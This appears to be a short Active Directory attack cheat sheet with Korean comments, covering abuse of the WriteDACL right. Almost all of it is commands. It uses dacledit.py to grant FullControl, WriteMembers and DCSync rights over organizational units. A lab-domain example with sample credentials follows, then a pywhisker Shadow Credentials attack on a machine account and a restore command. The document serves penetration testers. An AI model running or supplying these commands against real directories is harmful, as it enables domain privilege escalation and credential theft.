WriteDACL
Last updated
Last updated
# DACL 수정 - FullControl
dacledit.py -action write -rights FullControl -inheritance -principal principal -target-dn 'OUDistinguishedName' domain/user:password
# DACL 수정 - WriteMembers
dacledit.py -action write -rights WriteMembers -inheritance -principal principal -target-dn 'OUDistinguishedName' domain/user:password
# DACL 수정 - DCSync
dacledit.py -action write -rights DCSync -inheritance -principal principal -target-dn 'OUDistinguishedName' domain/user:password
# 예시) DaclEdit 을 이용해 모든 컴퓨터 머신 계정들에게 FullControl 권한 획득
dacledit.py -action write -rights FullControl -principal 'abuse' -inheritance -target-dn 'CN=Computers,DC=choi,DC=local' choi.local/abuse:'Password123!'
# 예시) FullControl 을 얻은 이후 머신 계정을 향한 ShadowCredentials 공격
python3 pywhisker.py -d choi.local -u abuse -p 'Password123!' --target 'wkstn01$' --action add
# 되돌리기
dacledit.py -action restore -file dacledit.bak domain.com/user:pass